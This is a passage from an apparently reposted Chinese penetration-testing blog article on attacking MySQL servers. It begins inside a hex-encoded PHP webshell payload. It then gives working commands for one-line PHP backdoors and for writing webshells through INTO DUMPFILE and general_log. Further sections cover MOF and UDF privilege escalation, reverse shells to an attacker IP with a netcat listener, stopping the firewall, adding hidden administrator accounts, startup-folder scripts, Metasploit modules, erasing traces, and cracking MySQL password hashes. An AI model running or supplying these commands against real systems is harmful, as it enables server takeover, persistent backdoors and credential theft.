82264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php' 注意: 也可以使用 http://tool.lu/hexstr/网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入unhex函数进行查询即可: 1 select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php' 7. CMS 系统获取 webshell 有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话 webshell,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 则可以通过破解管理员账号后直接上传文件来获取 webshell。Discuz!的 UC_key 可以直接获取 webshell。甚至某些系统可以直接上传 php 文件。下面是一些 CMS 系统渗透的技巧: (1)dedecms 系统的密码有直接 md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可; (2)phpcms v9 版本的密码需要加 salt 进行破解,需要选择破解算法 md5(md5($pass).$salt) 进行破解。 (3)Discuz!论坛帐号保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如 a0513df9929afc972f024fa4e586e829:399793。 8. general_log_file 获取 webshell (1)查看genera文件配置情况 1 show global variables like "%genera%"; (2)关闭general_log 1 set global general_log=off; (3)通过general_log选项来获取webshell 1 2 set global general_log='on'; SET global general_log_file='D:/phpStudy/WWW/cmd.php'; 在查询中执行语句: 1 SELECT '<?php assert($_POST["cmd"]);?>'; Shell 为 cmd.php,一句话后门,密码为cmd。 1.3.2 sqlmap 注入点获取 webshell sqlmap 注入点获取 webshell 的前提是具备写权限,一般是root账号,通过执行命令来获取: 1 2 sqlmap -u url--os-shell   echo "<?php @eval($_POST['c']);?>" >/data/www/1.php 1.4-MySQL提权 1.4.1 mof提权 1. Webshell 上传 mof 文件提权 MySQL Root 权限 MOF 方法提权是来自国外 Kingcope 大牛发布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/) ,简称 mysql 远程提权 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。 Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败! 该漏洞的利用前提条件是必须具备 MySQL 的 root 权限,在 Kingcope 公布的 0day 中公布了一个 pl 利用脚本。 1 perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555 192.168.2.100 为 MySQL 数据库所在服务器,MySQL 口令为空,反弹到 192.168.2.150 的 5555 端口上。 2. 生成 nullevt.mof 文件 将以下代码保存为nullevt.mof文件: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #pragma namespace("\\\\.\\root\\subscription")  instance of __EventFilter as $EventFilter {  EventNamespace = "Root\\Cimv2";  Name  = "filtP2";      Query = "Select * From __InstanceModificationEvent "              "Where TargetInstance Isa \"Win32_LocalTime\" "              "And TargetInstance.Second = 5";  QueryLanguage = "WQL";  };    instance of ActiveScriptEventConsumer as $Consumer  {      Name = "consPCSV2";  ScriptingEngine = "JScript";  ScriptText =      "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";  };  instance of __FilterToConsumerBinding {      Consumer   = $Consumer;      Filter = $EventFilter;  }; 3. 通过 MySQL 查询将文件导入 执行以下查询语句,将上面生成的 nullevt.mof 导入到 c:\windows\system32\wbem\mof\ 目录下在windows7 中默认是拒绝访问的。导入后系统会自动运行,执行命令。 1 selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; 4. Msf直接mof提权 Msf 下的 exploit/windows/mysql/mysql_mof 模块提供了直接 Mof 提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹 shell 到 meterpreter。 1 2 3 4 5 6 7 use exploit/windows/mysql/mysql_mof set rhost 192.168.157.1 //设置需要提权的远程主机IP地址 set rport 3306 //设置mysql的远程端口 set password root //设置mysql数据库root密码 set username root //设置mysql用户名 options //查看设置 run 0 技巧: 要是能够通过网页连接管理(phpmyadmin),则可以修改host为“%”并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。 方法1:本地登入mysql,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%" 1 2 3 4  use mysql;  update user set host = '%' where user = 'root'; FLUSH PRIVILEGES ;  select host, user from user; 方法2:直接授权(推荐) 从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器: 1 2 3 # mysql -u root -proot GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION; FLUSH PRIVILEGES; 推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。 1.6.2 udf提权 UDF 提权是利用 MYSQL 的自定义函数功能,将 MYSQL 账号转化为系统 system 权限,其利用条件是目标系统是 Windows(Win2000,XP,Win2003);拥有 MYSQL 的某个用户账号,此账号必须有对 mysql的 insert 和 delete 权限以创建和抛弃函数,有 root 账号密码 Windows 下 UDF 提权对于 Windows2008 以下服务器比较适用,也即针对 Windows2000、Windows2003 的成功率较高。 1. UDF提权条件 (1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 (2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。 (3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。 (4)可以将udf.dll写入到相应目录的权限。 2. 提权方法 (1)获取数据库版本、数据位置以及插件位置等信息 1 2 3 4 select version();//获取数据库版本 select user();//获取数据库用户 select @@basedir ;//获取安装目录 show variables like '%plugins%';  //寻找mysql安装路径 (2)导出路径 1 2 C:\Winnt\udf.dll    Windows 2000 C:\Windows\udf.dll   Windows2003(有的系统被转义,需要改为C:Windowsudf.dll) MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。 在某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法: 1 2 3 select @@basedir;  //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 执行成功以后就会 plugin 目录,然后再进行导出 udf.dll 即可。 (3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询: 1 create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; (4)执行命令: 1 select sys_eval(‘whoami’); 一般情况下不会出现创建不成功哦。 连不上3389可以先停止windows防火墙和筛选 1 2 select sys_eval(‘net stop policyagent’); select sys_eval(‘net stop sharedaccess’); udf.dll下常见函数: 1 2 3 4 5 6 7 8 9 10 cmdshell  执行cmd; downloader  下载者,到网上下载指定文件并保存到指定目录; open3389    通用开3389终端服务,可指定端口(不改端口无需重启); backshell   反弹Shell; ProcessView 枚举系统进程; KillProcess 终止指定进程; regread     读注册表; regwrite    写注册表; shut        关机,注销,重启; about       说明与帮助函数; 具体用户示例: 1 2 3 4 select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); select cmdshell('regedit /s d:web3389.reg'); select cmdshell('netstat -an'); (5)清除痕迹 1 drop function cmdshell;//将函数删除 删除udf.dll文件以及其它相关入侵文件及日志。 (6)常见错误 1 2 #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement SHOW VARIABLES LIKE "secure_file_priv" 在my.ini 或者mysql.cnf 文件中注销 (使用#号) 包含secure_file_priv的行。 1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将my.ini中的skip-grant-tables选项去掉。 3. webshell 下 udf 提权 通过集成 udf 提权的 webshell 输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。 4. Mysql 提权综合利用工具 v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有: (1).自动导出你的backdoor和mof文件 (2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权 (3)导出LPK.dll文件,劫持系统目录提权 (4)写启动项提权 UdF自动提权: 1 python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf LPK劫持提权: 1 python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 启动项提权: 1 python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst 例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables ,这无法进行提权 1.6.3 无法获取webshell提权 1. 连接 MySQL (1)mysql.exe -h ip -uroot -p (2)phpmyadmin (3)Navicat for MySQL 2. 查看数据库版本和数据路径 1 2 SELECT VERSION( ); Select @@datadir; 5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/ 5.1以上版本 通过以下查询来获取插件路径: 1 2 3 4 5 6 7 SHOW VARIABLES WHERE Variable_Name LIKE "%dir"; show variables like '%plugin%' ; select load_file('C:/phpStudy/Apache/conf/httpd.conf') select load_file('C:/phpStudy/Apache/conf/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf') select load_file('d:/phpStudy/Apache/conf/vhosts.conf') 3. 修改mysql.txt   Mysql.txt为udf.dll的二进制文件转成十六进制代码。 (1)先执行导入ghost表中的内容 修改以下代码的末尾代码  select backshell("YourIP",4444); (2)导出文件到某个目录 1 2 3 4 5 6 7 8 9 select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';  select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';  select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';  select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';  select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'  select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';  C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm'); select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll' (3)查看FUNCTION中是否存在cmdshell和backshell 存在则删除: 1 2 drop FUNCTION cmdshell;//删除cmdshell drop FUNCTION backshell;//删除backshell 创建backshell: 1 CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell 在具备独立主机的服务器上执行监听: 1 nc -vv -l -p 44444 执行查询: 1 select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口 4. 获取 webshell 后添加用户命令 注意如果不能直接执行,则需要到c:\windows\system32\下执行 1 2 net user antian365 Www.Antian365.Com /add  net localgroup administrators antian365 1.6.4 sqlmap直连数据库提权 Sqlmap 直接连接数据库提权,需要有写入权限和root账号及密码,命令如下: (1)连接数据库 sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell (2)选择操作系统的架构,32位操作系统选择1,64位选择2. (3)自动上传udf或提示os-shell (4)执行whomai命令如果获取系统权限,则表示提权成功。 4. msfudf提权 Kali渗透测试平台下执行(kali下载地址https://www.kali.org/downloads/): 1 2 3 4 5 6 7 8 msfconsole use exploit/windows/mysql/mysql_payload options set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run 0或者exploit msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。 1.6.4 启动项提权 1. 创建表并插入vbs脚本到表中 依次使用以下命令: 1 2 3 4 5 6 7 8 show databases ; use test; show tables; create table a (cmd text);  insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ; insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );  select * from a; 2. 导出 vbs 脚本到启动 使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。 1 select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"; 导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误。 推荐使用以下脚本: 1 2 3 4 5 6 7 8 show databases ; use test; show tables; create table b (cmd text);  insert into b values ("net user Aspnet123545345!* /add"); insert into b values ("net localgroup administrators Aspnet /add"); insert into b values ("del b.bat"); select * from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat"; 该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的b.bat脚本文件 说明 在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为: 1 2 select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"; Windows 2008 Server的启动目录为:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs 其vbs方法可以参考如下写法: 1 2 3 4 5 create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " ); select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"; 3.msf下模块exploit/windows/mysql/mysql_start_up提权 1 2 3 4 5 6    use exploit/windows/mysql/mysql_start_up set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。 1.7-Msf其它相关漏洞提权 1. Mysql身份认证漏洞及利用(CVE-2012-2122) 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞. MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞. MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞. use auxiliary/scanner/mysql/mysql_authbypass_hashdump 2. exploit/windows/mysql/mysql_yassl_hello 3. exploit/windows/mysql/scrutinizer_upload_exec 1.8.-mysql密码破解 1.8.1 cain工具破解mysql密码 使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。 注意: (1)root后面的“*”不要复制到字符串中。 (2)在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。 安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。 1.8.2 网站在线密码破解 1.cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。 2.somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。 1.8.3 oclhash破解 hashcat支持很多种破解算法,免费开源软件,官方网站https://hashcat.net/hashcat/,破解命令: 1 2 hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型 hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型 1.8.4 John the Ripper password cracker John the Ripper下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。 1 2 3 Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt John –format =mysql-sha1 hashes.txt john --list=formats | grep mysql //查看支持mysql密码破解的算法       本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1981572
文章
关系型数据库  ·  MySQL  ·  PHP  ·  数据库  ·  Windows
2017-11-12
阿里云开发者学堂
129803 人关注 | 7310 讨论 | 12051 内容
+ 订阅
  • 企业运维训练营之云上监控运维最佳实践启动!参营送好礼
  • 可观测Grafana入门训练营,帮助同学们由浅入深的对阿里云Grafana服务拥有全面了解
  • 【开发者7日学】求职达人训练营上线啦~快来打卡赢好礼
查看更多 >
数据库
252675 人关注 | 50922 讨论 | 95449 内容
+ 订阅
  • IDEA版本的Mybatis逆向工程使用攻略
  • MySQL约束和表的复杂查询操作
  • MySQL中表的增删查改操作(CRUD)
查看更多 >
开发与运维
5638 人关注 | 131546 讨论 | 304577 内容
+ 订阅
  • IDEA版本的Mybatis逆向工程使用攻略
  • MySQL约束和表的复杂查询操作
  • 实战教程 | 车道线检测项目实战,霍夫变换 & 新方法 Spatial CNN
查看更多 >
安全
1200 人关注 | 23967 讨论 | 81847 内容
+ 订阅
  • MySQL约束和表的复杂查询操作
  • 深入理解学习SpringMVC-基础篇
  • 快速入门 .NET nanoFramework 开发 ESP32-Pico 应用
查看更多 >
云计算
21788 人关注 | 59387 讨论 | 56079 内容
+ 订阅
  • CVPR2021快报!目标检测和语义分割论文分类汇总 | 源码 |
  • 新视觉任务!CVPR 2021 Oral | OWOD:面向开放世界的目标检测
  • 阿里云部署javaWeb项目依赖软件(jdk、tomcat、Mariadb数据库)的安装
查看更多 >